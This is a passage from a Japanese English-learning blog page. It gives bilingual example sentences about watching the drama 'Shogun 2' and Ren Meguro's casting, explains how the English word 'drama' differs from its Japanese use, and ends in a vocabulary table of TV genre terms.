<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_freckles_ginger-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren has been selected to play the one of the lead roles in a drama series of <strong>“Shogun 2” </strong> airing in Disney+.</strong><br>目黒蓮がディズニープラスのドラマ「将軍２」のメインキャストの1人に抜擢されたんだって！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_curly_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe6e6"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe6e6"></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren has started filming for a drama.</strong><br>蓮はもうクランクインしたそうよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_glasses_people_woman_teenager_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f2e7fd"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f2e7fd transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Where is the filming location for <strong>“Shogun 2” </strong>?</strong><br>「将軍２」のロケ地はどこなの？</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_handsome_1-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ddffe8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ddffe8"></span><span class="vk_balloon_content_after "></span>
<p><strong>I should rewatch <strong>“Shogun” </strong> before the new series starts. </strong><br>始まる前に「将軍」をまた見ようかな</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_portrait-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe8d8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe8d8 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can&#8217;t wait to see the next episode.</strong><br>次回を見るのが待ちきれない</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_female_adult_people_woman_doctor_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e6ffee"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e6ffee"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m happy to see Ren in the new series.</strong><br>新ドラマで蓮を見えるのは嬉しい〜</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_freckles_ginger-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d5f0ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d5f0ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>&#8220;Shogun&#8221; has received critical acclaim.</strong><br>「将軍」は批評家から高い評価を受けています</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_curly_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffedfb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffedfb"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can&#8217;t wait to see what&#8217;s going to happen next!</strong><br>次はどんなことが起きるんだろうね。楽しみー！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/male_adult_manager_people_man_boss_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I started watching <strong>“Shogun”</strong> and it was so good that I ended up binge-watching till the finale.</strong><br>「将軍」を見始めたら、とてもよかったから、最終話まで全部一気見しちゃったよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_beautiful_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffefd9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffefd9"></span><span class="vk_balloon_content_after "></span>
<p><strong><strong>“Shogun” </strong> was a big hit. <strong>“Shogun 2” </strong> will be on trend next year.</strong><br>「将軍」は超人気だったよね。「将軍２」もトレンドになるわよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_young_face-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f4eafd"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f4eafd transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>My girlfriend appeared as an extra in <strong>“Shogun 2</strong>”.</strong><br>俺の彼女、「将軍２」にエキストラ出演したんだよ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:45px;height:auto"/></figure>



<h3 class="wp-block-heading"><strong>あれ？ドラマって言ったら通じなかった！</strong></h3>



<p>日本語でドラマというと、テレビで放送されるドラマを指すことがほとんですが、本来、<strong>drama</strong>は、<strong>戯曲や演劇</strong>という意味です。そのため、<strong>I like to watch drama.</strong>というと、<strong>演劇を見るのが好き</strong>、と捉えられて話が通じなくなってしまうことも。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe2e9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe2e9 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I watched a drama series <strong>“Shogun 2” </strong> on Disney+ last night.</strong><br>昨晩、ディズニープラスで「将軍２」を観たよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_glasses_people_woman_teenager_avatar-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0fff0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e0fff0"></span><span class="vk_balloon_content_after "></span>
<p><strong>My grandma loves watching soap operas.</strong><br>私のおばあちゃんはメロドラマを観るのが大好きなの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_female-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d3eeff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d3eeff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I started watching the series of <strong>“Shogun”</strong> and it was so good that I ended up binge-watching all 10 episodes.</strong><br>「将軍」を見始めたら、とてもよかったから、10話全部一気に見てしちゃった</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_cute-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff2fc"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff2fc transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>How many episodes are there in the series of <strong>“Shogun 2”</strong>?</strong><br>「将軍２」は何話ありますか？</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/male_adult_manager_people_man_boss_avatar-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I tend to watch a series in one go.</strong><br>一気にドラマを見がちなんだ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_beautiful_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeae3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffeae3 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can&#8217;t believe you watched the entire season of that show in one sitting!</strong><br>一気にそのシーズンの番組を見たなんて信じられない！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_hat_ear_piercing-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ebffda"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ebffda"></span><span class="vk_balloon_content_after "></span>
<p><strong>I prefer miniseries because they are shorter and more concise.</strong><br>ミニシリーズって短くてわかりやすいから好きなんだ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Every episode ends with a cliffhanger, making it hard to stop watching.</strong><br>どのエピソードもクリフハンガーで終わるから、見るのをやめられないんだ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:25px;height:auto"/></figure>


<table style="height: 1169px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be selected to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に選ばれる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>leading role</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">主役</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>filming location</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ロケ地</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to rewatch</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を再度見る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>no matter how many times</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">例え何度見ても　（<span style="text-decoration: underline;"><span style="color: #b51f1f; text-decoration: underline;"><a style="color: #b51f1f; text-decoration: underline;" href="https://ffeng.jp/2020/09/09/cloy5-2/">詳しくはこちら</a></span></span>）</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 34px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to received critical acclaim</strong></td>
<td style="width: 62.9762%; height: 34px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">絶賛される</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>what&#8217;s going to happen next</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">次に起こること</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to end up ＋ 動名詞、名詞、副詞、前置詞</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">最後には～になる。最終的に特定の場所や状況になること</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>big hit</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ビッグヒット、超人気作品</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 20px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>on trend</strong></td>
<td style="width: 62.9762%; height: 20px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">トレンドになる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to rewatch</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">再度見る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 24px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to erase</strong></td>
<td style="width: 62.9762%; height: 24px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">削除する、消す</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>without asking</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜の断りなしに</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>pastime</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">娯楽、楽しみ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to record</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を録画する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to set the machine to record</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を録画予約する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to apply to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に応募する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>extra </strong><br /><strong>background actor</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">エキストラ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to appear as</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜として登場する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to love ＋ 動名詞</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜するのが大好きだ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to start ＋ 動名詞</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜し始める</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to get hooked on</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に夢中になる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to prefer</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を好む</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>TV drama </strong><br /><strong>drama series</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">複数のエピソードからなる連続テレビドラマ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>TV show</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ドラマを含むショー的要素を含むテレビ番組。TV showでドラマとして通じます</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">
<p><strong>soap opera</strong></p>
</td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">連続的なストーリーラインを持つテレビやラジオのドラマシリーズ。メロドラマ。かつてアメリカでは石鹸会社がスポンサーだったことが名前の由来</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>miniseries</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">数話で完結する短いテレビドラマ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>sitcom</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">コメディの一種。Situation Comedyの略。観客の笑い声が入ったコメディドラマなど</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>romcom</strong><br /><strong>rom-com</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ロマンティック・コメディ。romantic comedyの略</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>horror</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ホラー</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong><span class="ILfuVd" lang="ja"><span class="hgKElc">suspense</span></span></strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">サスペンス</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>action</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">アクション</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>crime</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">犯罪</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>historical</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">歴史</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>science fiction</strong><br /><strong>SF</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">社会的に科学要素や想像上の衝撃を含むファンタジー</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>romance</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">恋愛</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>cliffhanger</strong></td>
